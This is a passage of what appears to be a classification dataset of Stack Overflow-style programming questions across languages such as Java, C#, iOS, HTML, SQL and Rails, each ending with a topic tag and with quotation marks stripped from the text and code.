class. anyway would be better when there s no ambiguity at all  or when ambiguity would be solved with some sort of <code>implicit</code> keyword  to automatically insert class names when required.    for instance:      <pre><code>using system;  using implicit mysystem; // definying for  mymaths.math.bessel   public class example {     public foo()     {         var y = 3.0 * cos(12.0);          var z = 3.0 * bessel(42);     }      // local definition of  bessel  function again     public static double bessel(double x)     {         ...     } } </code></pre>   would become:   <pre><code>using system;  using mysystem; // definying for  math.bessel   public class example {     public foo()     {         var y = 3.0 * system.math.cos(12.0); // no ambiguity at all          var z = 3.0 * mysystem.math.bessel(42); // solved from `implicit` keyword      }      // local definition of  bessel  function again     public static double bessel(double x)     {         ...     } } </code></pre>   * the compiler may simply generate a warning to indicate that it solved the ambiguity because an <code>implicit</code> solution has been defined.    nb: 3) is satisfying enough for solving 2).,c#
cashapelayer not found   im having a problem i cant seem to figure out  google searches and all. im trying to access cashapelayer in my program and everytime i use this line of code cashapelayer *layer = [cashapelayer layer] i get this error message   <pre><code> undefined symbols for architecture i386:    _objc_class_$_cashapelayer   referenced from:       objc-class-ref in ncistaticbg.o ld: symbol(s) not found for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   i cant seem to understand why its not working. for one core graphics is always added to every project you create by default. so adding #import to any file should allow me to use this class. when i type out ca... i am able to see cashapelayer in intellisense. also whats really weird is that i can open up one of my older projects and those projects use cashapelayer  i get no errors at all. so its specific to this project  ive even created a new project and still the same error occurs. thank you for your help.,ios
how can i swap the values of two ints in the method of java   in java  it seems that the primitive data type arguments will pass into the method by value. but what if i want to swap the values of two integers.    <pre><code>public static void main(string[] args){    int a = 1;    int b = 2;    swapvalue(a b);    system.out.println(a);    system.out.println(b);     }  public static void swapvalue(int a  int b){    int c = a;    a = b;    b = c; } </code></pre>   for example  the code above is aimed to swap the values of a and b. in c++ i can pass into the pointers or references to them but i have no idea about how to do this in java without pointers. how could i make it,java
stop top-fixed element when reach div  i have a page with 2 navbars. the first one is fixed at the top of the page. the second  in the middle of the page  become  top-sticky  when i scroll.    i would like to stop the 1st navbar just before reaching the 2nd. so that when you scroll after the 2nd navbar  only this one is visible  the 1st stays upper/ disappear.    here is a <a href= http://jsfiddle.net/helloducoux/jegqyrb1/1/  rel= nofollow >fiddle</a>    my html :   <pre><code>&lt;body&gt; &lt;div id= page &gt;    &lt;div class= fullscreen &gt;     &lt;h1&gt;zone fullscreen&lt;/h1&gt;     &lt;/div&gt;   &lt;header class= navbar1 &gt;     &lt;p&gt;navbar 1 : i am fixed but i want to stop just before navbar2 !&lt;/p&gt;   &lt;/header&gt;    &lt;div id= content &gt;     &lt;div class= navbar2 &gt;      &lt;p&gt;navbar 2 : i become sticky on scroll&lt;/p&gt;     &lt;/div&gt;&lt;!--/navbarloc--&gt;   &lt;div class= main-content &gt;     &lt;p&gt;cras justo odio  dapibus ac facilisis in  egestas eget quam. cras justo odio  dapibus ac facilisis in  egestas eget quam. nullam quis risus eget urna mollis ornare vel eu leo. nullam quis risus eget urna mollis ornare vel eu leo. maecenas faucibus mollis interdum. fusce dapibus  tellus ac cursus commodo  tortor mauris condimentum nibh  ut fermentum massa justo sit amet risus. duis mollis  est non commodo luctus  nisi erat porttitor ligula  eget lacinia odio sem nec elit.&lt;/p&gt;   &lt;/div&gt;&lt;!--/content --&gt; &lt;/div&gt;&lt;!--/page--&gt; &lt;/body&gt; </code></pre>   css :    <pre><code>* {padding:0; margin:0;} html  body  #page {height:100%;}  .fullscreen {height: 100%;background: red;position:relative; z-index:5;} .fullscreen h1 {padding-top:180px;text-align:center;}  .navbar1 {position: fixed; left: 0; right: 0; top:10px;background:yellow;padding:5px;z-index:15;} .navbar2 {background:green;padding:5px;z-index:20;}  .main-content {padding:10px;position:relative; z-index:10;} .main-content p {font-size:50px;} </code></pre>   and js :    this is for making navbar2 sticky :   <pre><code>$( .navbar2 ).stick_in_parent({offset_top:40}); </code></pre>   and i found this piece of code  to make the navbar1 absolute when reach navbar2  doesnt work :   <pre><code>function checkoffset() {     if($( .navbar1 ).offset().top + $( .navbar1 ).height() &gt;=     $( .navbar2 ).offset().top - 10)         $( .navbar1 ).css( position    absolute );     if($(document).scrolltop() + window.innerheight &lt;    $( .navbar2 ).offset().top)     $( .navbar1 ).css( position    fixed ); // restore when you scroll up     $( .navbar1 ).text($(document).scrolltop() + window.innerheight); } $(document).scroll(function() {     checkoffset(); }); </code></pre>   and maybe the best solution would be to add/remove a class instead of directly applying css      any idea      thanks in advance for your reply !,html
find max element between two vectors  i thought the following would work but it just outputs zero. ideas    <pre><code>std::vector&lt;int&gt; a = { 1  2  3 }; std::vector&lt;int&gt; b = { 4  5  6 };  int max = *std::max(std::max(a.begin()  a.end())  std::max(b.begin()  b.end())); std::cout &lt;&lt; max; </code></pre>,c++
stream insertion overloading c++  im trying to call the function:   <pre><code>friend ostream&amp; operator&lt;&lt;(ostream&amp; out  stack::myitem&amp; theitem);  </code></pre>   that is public to my stack object:   <pre><code>class stack  {  public:      stack(int capacity);      ~stack(void);       void method1();       ...    private:       struct myitem      {      int             item;  };     ...  public:      friend ostream&amp; operator&lt;&lt;(ostream&amp; out  stack&amp; s);      friend ostream&amp; operator&lt;&lt;(ostream&amp; out  stack::myitem&amp; theitem);  };  </code></pre>   what i know is that this function below:   <pre><code>ostream&amp; operator&lt;&lt;(ostream&amp; out  stack&amp; s) {  if ( s.count == 0 ) // then no elements have been counted.     out &lt;&lt;  \nstack: empty\n\n ; else         {         out &lt;&lt;  \nstack:  ;         for ( int i = 0; i &lt; s.count; i++ )         {    if ( i &lt; s.count-1 )                      out &lt;&lt; s.myitem[i].item &lt;&lt;     ;                 else out &lt;&lt; s.myitem[i].item;         }         out &lt;&lt;  \n\n ;  }     return out; } </code></pre>   given the statement:     stack s = stack(7); the function above is called whenever i use:      cout &lt;&lt; s;    how do i call the function below    <pre><code>ostream&amp; operator&lt;&lt;(ostream&amp; out  stack::myitem&amp; theitem)   out &lt;&lt; theitem.item;  return out; } </code></pre>   because when i try to do the following:   <pre><code>ostream&amp; operator&lt;&lt;(ostream&amp; out  stack&amp; s) { if ( s.count == 0 ) // then no elements have been counted.         out &lt;&lt;  \nstack: empty\n\n ; else         {         out &lt;&lt; s;            }         return out; } </code></pre>   it results in a crash  because the statement out &lt;&lt; s; will be endless.. while debugging the code will never go to the next statement...,c++
sql distinct limitation  i have a table that contain coordinates info...like this:   <pre><code>li_from ---------- 36.2090536962569;37.1511090538763 36.2130356969589;37.1443713448309 36.2130876347598;37.1508944771551 36.2093999652314;37.1442425987982 36.2130356969589;37.1443713448309 36.2130356969589;37.1443713448309 </code></pre>   and when i want to select distinct values from the column above like this:   <pre><code>select distinct li_from from table. </code></pre>   the result is the same as above although the last two values are identical .. so is there limitation for the distinct keyword   and how can i select distinct values,sql
css hover property ignored  can anyone see why this isnt working  for this example the box should turn white when hovered over.   <pre><code>&lt;style type= text/css  media= screen &gt;     .center {         margin: 0 auto;     }     .box {         width: 250px;          height: 250px;          display: block;         background: #000;          border: 1px solid white;          float: left     }     .inner {         width: 175px;          height: 175px;          display: block;          margin-top: 15%;          margin-left: 15%;          background: #fff;         position: relative     }     .boxlink {         position: absolute;          left: 0;          right: 0;          margin-left: auto;          width: 100%;          text-align: center;          line-height: 175px;          font-size: 30px     }       a:link.boxlink {         color:#000;          background: yellow     }     a:visited.boxlink {         color:#000;          background: yellow     }     a:hover.boxlink {         color:#fff;          background: white     }     a:active.boxlink {         color:#000;          background: green     } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;div id= container &gt;         &lt;div class= box &gt;             &lt;div class= inner &gt;                 &lt;a class= boxlink  href= # &gt;about&lt;/a&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>,css
java task validate  course code  with letters and numbers  my question relates to an assignment that i have already turned in--but i want to figure out based on what i coded (which does some of the requirements) where i failed  what i did correctly  and if there was a better approach. seriously novice to be clear.     i ve read through multiple previously asked questions and tried to put together information from those.     the task is to have the user input a six digit code--must meet these specifications:    <ol> <li>have an upper or lower case  i  as the first</li> <li>have an upper or lower case  t  as the second</li> <li>the third through sixth places must be digits 0-9</li> </ol>   if the entered code matches--the return is  course code validated  of it doesn t the return is  course code not valid  with the reason it is not.     pasting my code text below. any feedback would be greatly appreciated.   <pre><code>import java.util.scanner;  public class u4a1_sixthsession {       public static void main(string[] args) {         system.out.println( amber s copy );         scanner input = new scanner(system.in);          system.out.println( enter a course code to validate (e.g. it4872): );         string s = input.nextline();         if (s.charat(0)!=  i ) {     if (s.charat(0)!=   i )               system.out.println( course code must begin with the letter i.  +  \n  + course code not valid. );          else if (s.charat(1)!=   t )         if (s.charat(1)!=   t )             system.out.println( course code must have second letter t.  + \n  +  course code not valid. );          else if (character.isletter(s.charat(2)))              system.out.println( course code must have digit in third spot.  + \n  +  course code not valid. );         else if (character.isletter(s.charat(3)))              system.out.println( course code must have digit in fourth place.  + \n  +  course code not valid. );         else if (character.isletter(s.charat(4)))              system.out.println( course code must have digit in fifth place.  + \n  +  course code not valid. );         else if (character.isletter(s.charat(5)))              system.out.println( course code must have digit in sixth place.  + \n  +  course code not valid. );              else             system.out.println( course code is valid.   + s);     } } } </code></pre>,java
populating an arraylist from user input from the keyboard  i have written this code that attempts to populate an arraylist that measures systolic  and diastolic blood pressure and the date from the user input at the keyboard.  i don t know how to populate more than one element in this arraylist. please can someone help.    readout: 65 98 17/12/2013   <pre><code>import java.util.arraylist; import java.util.inputmismatchexception; import java.util.scanner;    public class bloodtest {                private static int input1;             private static int input2;             private static int num1;             private static int num2;             private static int num3;  public static void main(string[] args) {     arraylist&lt;blood&gt;mary = new arraylist&lt;blood&gt;();     scanner sc = new scanner(system.in);     boolean repeat = true;      //getting input from user     do     {         try         {             system.out.printf( %s   please enter your systolic blood pressure:  );             int input1 = sc.nextint();             system.out.printf( %s   please enter your diastolic blood pressure:  );             int input2 = sc.nextint();              //requires user input for day (dd) to be between 1-31                 boolean try1 = true;                 do{                     system.out.printf( %s   please enter the day (dd):  );                     int input = sc.nextint();                     if(0&lt;input &amp;&amp; input&lt;= 31)                       {                        num1 = input;                        try1 = false;                       }                     else                     system.out.printf( \n%s\n    please enter a value for day (dd) between 1-31: );                    }                 while (try1);              //requires user input for month (mm) to be between 1-12                 boolean try2 = true;                 do{                     system.out.printf( %s   please enter the month (mm):  );                     int input = sc.nextint();                     if(0&lt;input &amp;&amp; input&lt;= 12)                       {                        num2 = input;                        try2 = false;                       }                     else                     system.out.printf( \n%s\n    please enter a value for month (mm) between 1-12: );                    }                 while (try2);                //requires user input for year (yyy) to be between 1-9999                  boolean try3 = true;                 do{                     system.out.printf( %s   please enter the year (yyyy):  );                     int input = sc.nextint();                     if(0&lt;input &amp;&amp; input&lt;= 9999)                       {                        num3 = input;                        try3 = false;                       }                     else                     system.out.printf( \n%s\n    please enter a value for year (yyyy) between 1-9999: );                    }                 while (try3);               mary.add(new blood(input1  input2  new day(num1  num2  num3)));              repeat = false;         }         catch (inputmismatchexception inputmismatchexception)         {             system.err.printf( \n%s\n\n  inputmismatchexception);             sc.nextline();             system.out.println( please enter a integer value: );         }      }     while (repeat);       //displaying arraylist data so far     for (int i = 0; i&lt;mary.size(); i++)     system.out.println(mary.get(i));  } </code></pre>   },java
performance difference between string.valueof(char) and string literal  i came upon some constant definitions in a project  and was wondering why they were defined as string.valueof(   ) instead of    .   <pre><code>//how it is defined public static final string space = string.valueof(   );   //how i would do it  so i don t have the string.valueof() overhead.. public static final string space2 =    ; </code></pre>   anyone that has a clear answer for this one,java
updated item info in container  how do i refresh   i m going out on a limb here  and hoping that someone has used it mill toolkit before:    i have a table with a bunch of items inside. i edit one of them – how do i get the table to refresh and re-render itself  i ve tried with <code>requestrepaint()</code>  <code>requestrepaintall()</code> on both the table  and the layout that contains the table  but i can t get it to refresh itself. when i reload the page  or scroll back and forth (so that the item goes from view and comes back into view)  the item has been updated.    is there a way to programmatically get the table to refresh its current view,java
how to do a  fill with color (from mspaint) with a picturebox   i did a little research and i didn t find a way  anyone know     c# or vb.net,.net
how can i hide ‘code behind’ files in asp.net  i.e. files with .cs extension  and creates dlls for all code behind files.,asp.net
how to render a _form from another view folder in rails 4.1  in <strong>carts/_form</strong>:   <pre><code> &lt;% for item in @cart.line_items %&gt;               &lt;%= item.quantity %&gt; &amp;times;&lt;%= item.menu.menu_item_name %&gt;  &lt;%= item.quantity*item.menu.price%&gt;      &lt;% end %&gt; </code></pre>   in menus/index:   <pre><code> &lt;%= render partial:  carts/form %&gt; </code></pre>   i want to show the <code>_form</code> on <code>index</code> page.,ruby-on-rails
getting exception like unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.   i am getting this error: unable to evaluate expression because the code is optimized or a native frame is on top of the call stack.    and this is my code where i am getting error.   <pre><code>if (session[ edit ].tostring() ==  y  || session[ master ].tostring() ==  y  || session[ del ].tostring() ==  y )                 {                     btncancel.text =  cancel ;                     //txtprodesc.text = txtpronm.text =   ;                     ds = new dataset();                     ds =settcls.selectallproductsuppliersetting();                     if (ds.tables[0].rows.count &gt; 0)                     {                         btnsave.enabled = btnedit.enabled = false;                         txtsetproductid.visible = false;                         txtpreid.visible = true;                         lbmsg.visible = true;                         lbmsg.text =  enter productid ;                         txtpreid.focus();                          response.redirect(this.page.apprelativevirtualpath);                     } </code></pre>,asp.net
floated ul in top nav area  i have a top nav area with two ul. one floated left  one floated right.    in ie7 the right floated ul seems to stretch all the way to the left taking up the entire space available. in ie8 and more current browsers  of course its fine... they only expand the width of the content in the li.    example:    ie7   <pre><code>&lt;---floated left ul---&gt;&lt;----------------------------floated right ul---&gt;  in ie8 &lt;---floated left ul---&gt;                         &lt;---floated right ul---&gt; </code></pre>   i have tried dabbling with min width  and width  but cant seem to get it right... is this just a default behavior for ie7 to take up the entire width  unless specified with a set width of pixels  or percent.,css
new google play badge doesn t get the size right  today i realized the old link to the  get it on google play  badge (<a href= https://developer.android.com/images/brand/en_generic_rgb_wo_45.png  rel= noreferrer >https://developer.android.com/images/brand/en_generic_rgb_wo_45.png</a>) doesn t work any longer (android devs  update your websites!) and i checked for the new version here: <a href= https://play.google.com/intl/en_us/badges/  rel= noreferrer >https://play.google.com/intl/en_us/badges/</a>    i changed my code accordingly to   <pre><code>   . . . src= https://play.google.com/intl/en_us/badges/images/generic/en-play-badge-border.png  height= 45  /&gt; </code></pre>   however  it now doesn t line up with the app store icon any more. the google icon is now at about 37px whereas the app store icon is  just like i set it  45px in height.     it appears like the padding around the white border is  hardcoded  into the picture. check my attached pic for the dimensions.    why did google have to change everything again  also  why can t it just work like it did before  do i really need to put it at like 55px height in order to make it appear <em>like something like</em> 45px  that sounds like awful code to me.    edit: forgot the picture  <a href= https://i.stack.imgur.com/37iqb.png  rel= noreferrer ><img src= https://i.stack.imgur.com/37iqb.png  alt= enter image description here ></a>,html
why is it selecting both radio buttons   with given html  it is selecting both radios despite of having same name that is <strong>mode</strong>   <pre><code>&lt;div class= row margin-top &gt;     &lt;div class= col-md-3 col-md-offset-1 &gt;         &lt;form action=   method= post &gt;             &lt;div class= form-group &gt;                 &lt;label&gt;                     &lt;input type= radio  value= keyword  name= mode &gt;                     search by keyword                 &lt;/label&gt;             &lt;/div&gt;         &lt;/form&gt;     &lt;/div&gt;     &lt;div class= col-md-5 &gt;         &lt;form action=   method= post &gt;             &lt;div class= form-group &gt;                 &lt;input type= text  name= keyword  class= form-control &gt;             &lt;/div&gt;         &lt;/form&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= row margin-top &gt;     &lt;div class= col-md-11 col-md-offset-1 &gt;         &lt;form action=   method= post &gt;             &lt;div class= form-group &gt;                 &lt;label&gt;                     &lt;input type= radio  value= criteria  name= mode &gt;                     search by criteria                 &lt;/label&gt;             &lt;/div&gt;         &lt;/form&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,html
how to get index position of clicked element in javascript  i am trying to get the index value of a particular element that is clicked on from a for loop array. what i would like to do is then use this index value and pass it to a variable called indexvalue which will then determine a specific div to show. the div it will show will be the one with the same index value that was passed to the variable. i hope this makes sense  i am just not to sure how to achieve this     the markup would be something like this    <strong>html</strong>                       <pre><code>&lt;div class= button &gt;&lt;/div&gt; &lt;div class= button &gt;&lt;/div&gt; &lt;div class= button &gt;&lt;/div&gt; &lt;div class= button &gt;&lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>.test {    display: none; }  .show {    display: block; } </code></pre>   <strong>js</strong>   <pre><code>var button = document.queryselectorall( .button ); for (var i = 0; i &lt; button.length; i++) {     button[i].addeventlistener( click   function () {      var indexvalue: //get index value from clicked element     var test = document.queryselectorall( .test );      test[indexvalue].classlist.add( show );    } } </code></pre>,javascript
does $.post execute any javascript  does $.post execute any javascript on the page it is fetching after it is fetched     if so how can i stop that     thanks     mat,jquery
renaming an existing file with obj-c  i ve seen this question asked a few times but i have been unable thus far to achieve success using any of the post solutions. what i am trying to do is rename a file in the local storage of an app (also kind of new to obj-c). i am able to retrieve the old path and create the new path  but what would i have to write in order to actually change the files name     what i have thus far is:   <pre><code>- (void) setpdfname:(nsstring*)name{     nsarray *dirpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory                                                     nsuserdomainmask  yes);     nsstring* initpath = [nsstring stringwithformat:@ %@/%@  [dirpaths objectatindex:0]  @ newpdf.pdf ];     nsstring *newpath = [[nsstring stringwithformat:@ %@/%@                             [initpath stringbydeletinglastpathcomponent]  name]                          stringbyappendingpathextension:[initpath pathextension]]; } </code></pre>,objective-c
angularjs uigrid - prevent editing the cell by checking data in gridapi.edit.on.begincelledit  i am trying to cancel editing the cell in uigrid by checking the value of the cell. any idea how to cancel and how to let editing go by checking the cell value    <pre><code>    gridapi.edit.on.begincelledit($scope  function (rowentity  coldef) {         if (rowentity.status &gt; 4)/**/         {               // cancel edit so that edit never applies         }         else         {                //let editing applied (which normally executes)         }      }); </code></pre>   thanks in advance1,angularjs
is there any more complete object reference for rails than the api   sometime it is a big problem to get to know  how to use all methods of an object. is there a complete list of all possible parameters of all methods of all rails-objects     for instance  when i looked for  belong_to   i found more complete information in tutorial  than in the api <a href= http://api.rubyonrails.org/classes/activerecord/connectionadapters/tabledefinition.html#method-i-belongs_to  rel= nofollow >api</a>. where do the authors of tutorial take their knowledge  don’t tell they decompile hundreds of lines of source codes of each method.    i am not looking for a book. a complete reference is enough for me (similarly complete as a ruby language reference - e.g.,ruby-on-rails
sql select query inner join many to many refactor  i have a many to many relationship between entries and keywords with a join table entries_keywords. i want to fetch all entries for both the keys  wake  and  up . the only way i came up with is this. if i want to throw in another search word it gets even worse. how do you refactor this  is there another way to join it than using subqueries    <pre><code>select *  from  (     select *      from entries e      inner join entries_keywords ek          on e.id = ek.entry_id      inner join keywords k          on ek.keyword_id = k.id      where k.key =  wake  ) e  inner join entries_keywords ek      on e.id = ek.entry_id  inner join keywords k      on ek.keyword_id = k.id  where k.key =  up ; </code></pre>,sql
push a new view controller with navigation controller  so i created a new view controller which has the custom class named <code>descriptionviewcontroller</code>. and from my current view controller inside <code>didselectrowatindexpath</code> i use this code:   <pre><code>-(void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     [tableview deselectrowatindexpath:indexpath animated:yes];      descriptionviewcontroller *descriptionviewcontroller = [[descriptionviewcontroller alloc] initwithnibname:@ descriptionviewcontroller  bundle:nil];     [self.navigationcontroller pushviewcontroller:descriptionviewcontroller animated:yes]; } </code></pre>   but nothing happens when i click on a cell. is there anything more i need to do,ios
android-how to logout from twitter4j library   already tried appending <code>force_login=true</code> to callback url and clearing the shared preferences. even after doing the above it shows the authorize app page and not the login page.,android
c# objects and code examples  i am new to .net 3/3.5 (c#) programming. it may be simple for you but not for me. i have a task to executing stored procedure from c# application  using command and it returns 3 different data tables proc is already done in sql 2005 but i want to know how to get data in c#. exactly need  c# code how to handle data tables form the result set if result set returns more than one datatable. thanks,c#
waiting queue vs. ready queue  why is there a ready and waiting queue for every object when using a monitor  if a thread is done with an object  just pop the next item in the waiting queue. the ready queue seems redundant.    the context is .net  more specifically the monitor class.,.net
facebook style newsfeed image mosaic view for ios   i want to achieve a similar look and feel to the facebook app s newsfeed image mosaic (see below screenshot). does anyone know of an existing library/pod which will achieve this  or suggestions on the best approach to achieving this (custom uiview vs uicollectionview)     my requirements are:    <ul> <li>if there is a single image  then just show it as per the left example below. the view should respect the aspect ratio.</li> <li>if there are 2 or more images then present draw a suitable view as per the right image  which again respects image aspect and calculates the size/position for 2 images  3 images or 4 images.</li> <li>images should be tappable.</li> <li>works within a uitableviewcell  including auto layout calculations etc.</li> </ul>   i haven t seen anything like this out there yet  in code form at least. any pointers would be greatly appreciated :)    <img src= https://i.stack.imgur.com/0ts3t.png  alt= left: single image presentation format  right: multiple image presentation format >,ios
how can i jump to system wifi list in ios10   in older version  we use <code>[nsurl urlwithstring:@ prefs:root=wifi ]</code>  but in ios10  it doesn t function.,ios
retrieve input type text box value at server side using request[ id ] but could not find it  i want to retrieve an input type text box value at server side using <code>request[ id ]</code> but could not find it. that  text box is generated into an ajax tab panel using <code>stringbuilder</code>  as follows:     <pre><code>sb1.append( &lt;input type=\ text\  value=\ 0.00\  maxlength=\ 11\  onkeyup=\ decimalnumber(this) \  onpaste=\ return false \  onfocus=\ javascript:clearvalue(this); \  onblur=\  javascript:updatevalue(   + tb.id +   )\  onchange=\  javascript:updatevalue(   + tb.id +     tabcontainer1_tbpnlusrdetails_txtdeduct   tabcontainer1_tbpnlusrdetails_txtt‌​otalamount ) \  name=\ textbox_0039001010200-323-31 \  id=\ textbox_0039001010200-323-31\   ); </code></pre>,asp.net
javascript -  this  pointer gets undefined when being inside a function  i ve defined <code>this.username</code> already; however  when being inside a function it get <code>undefined</code> how can i retrieve its value    <pre><code> parse.user.login(this.username  this.password  {    success: function(user) {         //gets undefined        console.log( username is :    this.username);      }}); </code></pre>,javascript
angularjs checkbox filter directive  i have a angularjs directive that allows users to select a values from a list to filter on.  pretty simple concept which is represented here:     <img src= https://i.stack.imgur.com/j7agn.png  alt= enter image description here >    problem is when i click one of the checkboxes they all select unintended.  my directive is pretty simple so i m not sure why this is happening.  the code around the selection and checkboxes is as follows:   <pre><code>$scope.tempfilter = {     id: objectid()      fieldid: $scope.available[0].id      filtertype:  contains  };  $scope.togglecheck = function (id) {      var values = $scope.tempfilter.value;     if (!values || !values.length) {         values = $scope.tempfilter.value = [];     }      var idx = values.indexof(id);     if (idx === -1) {         values.push(id);     } else {         values.splice(idx  1);     } };  $scope.valueslistvalues = function (id) {     return $scope.available.find(function (f) {         return f.id === id;     }).values; }; </code></pre>   and the data resembles:   <pre><code>$scope.available = [{       id: 23        name:  store        values: [                { id: 124  name:  kansas  }                 { id: 122  name:  florida  }  ... ] }  ...  ] </code></pre>   the view logic is as follows:   <pre><code>&lt;ul class= list-box &gt;     &lt;li ng-repeat= val in valueslistvalues(tempfilter.fieldid) &gt;         &lt;div class= checkbox &gt;             &lt;label ng-click= togglecheck(val.id) &gt;                 &lt;input ng-checked= tempfilter.value.indexof(val.id) === -1                           type= checkbox &gt; {{val.name}}             &lt;/label&gt;         &lt;/div&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   first off  it <code>togglecheck</code> fires twice but populates the correct data ( second time given my code it removes it though ).  <img src= https://i.stack.imgur.com/spq5j.png  alt= enter image description here >    after the second fire  it checks all boxes... any ideas,angularjs
js function split not working letters uppercase  example 1:    <pre><code>var string_1 =  my name is tom jelly ; var param = string_1.split( tom ); console.log(param); </code></pre>  <blockquote>    [ my name is      jelly ]  </blockquote>   example 2:   <pre><code>var string_2 =  my name is tom jelly ; var param = string_2.split( tom ); console.log(param); </code></pre>  <blockquote>    [ my name is tom jelly ]  </blockquote>   how can i get the result as example 1,javascript
run a java class without package structure  there is a class <code>a.b.c.hello</code> of which i would just get the <code>hello.class</code> file delivered. i would like to run using something like:   <pre><code>java hello      //or  java a.b.c.hello </code></pre>   this leads me to a <code>noclassdeffounderror</code>. normally i d have the <code>a/b/c</code> dirs with the class insdie and i d  add them to the <code>-classpath</code> option  but:   <ul> <li>is there a way of running a class in a package like this <strong>without having to put it inside <code>a/b/c</code></strong> to match the package name </li> </ul>   all solutions i ve found state the directory structure has to match the package naming  but i d like to run the <code>.class</code> file directly from the folder where it is  without recreating the folder structure,java
english and/or finnish text validation  is there an easy-to-use python module that d do english or finnish text validation     it d be ok if i could just check the words exist in user-defined dictionary and possibly checking that the grammar is somewhat okay.    i am planning to implement a fancy validation for a directory contents i did while ago back. this involves some simple stuff like checking that the config scripts won t crash and does it all well. it s all quite easy otherwise.    for the validator i should just be able to input whole files or strings of unicode text.,python
images not showing for deployed app in heroku  the images that i am using in my index.html.erb file are in the assets/images directory. i have deployed the app to heroku but it is not showing the images. i am linking the images using  tag in the html file and not in the css file.    please help.,ruby-on-rails
specificity issues with bootstrap  why do i need <code>!important</code> for the margin:0 to show    <pre><code>@import  bootstrap-sprockets ; @import  bootstrap ;  .alert {   margin: 0 !important; } </code></pre>   and   <pre><code> *= require_tree .  *= require_self </code></pre>,ruby-on-rails
add text next to icon  how can i insert a text right to the icon (see picture)     i have this code which ads a facebook icon:   <pre><code> &lt;div class= col-sm-4 follow &gt;     &lt;ul class= social &gt;      &lt;li&gt;      &lt;a title=   data-placement= top  data-toggle= tooltip  class= facebook  href= https://www.facebook.com  &gt;&lt;i class= fa  fa-facebook &gt;&lt;/i&gt;&lt;/a&gt;      &lt;/li&gt;     &lt;/ul&gt;   &lt;/div&gt; </code></pre>   <img src= https://i.stack.imgur.com/lvmki.png  alt= enter image description here >,html
rails 5 routing and form submission  i m trying to determine the best way to handle form submissions and routing.    i have the <em>standard _form.html.erb</em>  as well as <em>new.html.erb</em> and <em>edit.html.erb</em> - each renders <code>form</code>  <code>subscription = @subscription</code>  which is declared in the <code>new</code> and <code>edit</code> controller action.    the model is <code>subscription</code>  and this is my <code>form</code> element in <em>_form.html.erb</em> (it s in the <code>checkout</code> namespace) -   <pre><code>&lt;%= form_for([:checkout  subscription]) do |f| %&gt; </code></pre>   <code>/checkout/subscriptions/new</code> is the url for a new subscription. when you submit the form  it posts to <code>/subscriptions</code>.    the problem is that if there are errors  and you refresh the browser (i know users will do this for one reason or another)  you get an error message because there is no view for <code>/subscriptions/index</code> (i don t need one).     same applies for editing. if you go to (as an example) <code>/checkout/subscriptions/14/edit</code>  everything s great. but if you submit the form  it posts to <code>/subscriptions</code> - same problem as with new - if you refresh the page  you get the <em>no view</em> error. this is the way rails handles it with a new scaffold.    so my questions are:   <ul> <li>what s the url i should use in the <code>form_for</code> tag </li> <li>what should i do for routing </li> <li>and how can i avoid this error when refreshing the page </li> </ul>,ruby-on-rails
sockets help and advice  i m trying to learn how to use sockets to make web requests  but i m struggling to find anything online. i ve found lots of  client  ->  server  tutorials using sockets  but nothing that talks about making web requests  scrapers  etc.    i want to be able to develop multi threaded apps using sockets as i ve heard they are much easier to work with.,c#
"show error message if non numeric value entered  how to show error message to user if non-numeric values are entered in the text box.     the error message can be displayed below the text box something like enter the numbers only    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function isnumber(evt) {
     evt = (evt)   evt : window.event;
     var charcode = (evt.which)   evt.which : evt.keycode;
     if (charcode &gt; 31 &amp;&amp; (charcode &lt; 48 || charcode &gt; 57)) {
         return false;
     }
     return true;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input type= text  class= textfield  onkeypress= return isnumber(event)  /&gt;</code></pre>
 </div>
 </div>",javascript
how to set properties using extended function   i m not sure if i worded my question properly.  i have a class who s job is to set up a list of definitions.  one of my functions is to set up some directory paths.  i m not sure of how to properly extend to that function when setting up a new object.  see below.   <pre><code>class vm_definitions {     public $root;     public $ext;     public $tsk;     public $gbl;     public $sys;     public $sql;     public $db;      public function __construct()     {         $this-&gt;root = $_server[ document_root ];          /*==============================           commonly used file extensions         ==============================*/         // extension for include files         $this-&gt;ext =  .inc.php ;         // extension for database processing files         $this-&gt;dbe =  .db.php ;         // extension for task files         $this-&gt;tsk =  .task.php ;         // extension for global report files         $this-&gt;gbl =  global.php ;         // extension for task files         $sys =  .proc.php ;     }      public function db_directory($root)     {         /*==============================           main database directory path         ==============================*/         $this-&gt;sql = $root. /db/ ;         $this-&gt;db = $this-&gt;sql;     } } //this works fine $def = new vm_definitions; //this does not $ms_database = new vm_definitions::db_directory($def-&gt;root); </code></pre>,php
with operator & dashes in object keys  until today  i had not known the with operator existed.  i stumbled upon it while debugging an issue being thrown from a plugin (backbone.epoxy).    the operator creates block level scope for each property on the passed object.   <pre><code>var testobj = {  cat :true }; with (testobj) {   console.log(cat    cat! :  dog ); // cat! } </code></pre>   simple enough   initially i thought this could potentially be really cool.  until i realized why my code was throwing an error.  here is an example derived from my code.   <pre><code>var testobj = {  css :true   background-color : blue  }; with (testobj) {   console.log(css   background-color :   ); // throws } </code></pre>   the actual code is a bit more dynamic  but this is essentially what occurs behind the scenes in the plugin.  since dashes are not allowed within variable names but are allowed in property names  which cause the error to be thrown.    so  to the questions:   <ol> <li>is there a way to sanitize the block scope local variable in order to avoid the issues with the dash while keeping it in my property name </li> <li>has anyone else worked around this issue with epoxy </li> </ol>,javascript
python syntax error while execution  i am getting a syntax error for the line below i am not sure why this error is getting generated as earlier it used to work fine and suddenly it started throwing this error   <pre><code>myfile.write( \n +str(serverandinstance)+   +str(gcoverhead)+   +str(min(usedaftergc))+   +str(max(usedaftergc))+   +str(sum(usedaftergc)/len(usedaftergc))+  0 0 ) </code></pre>,python
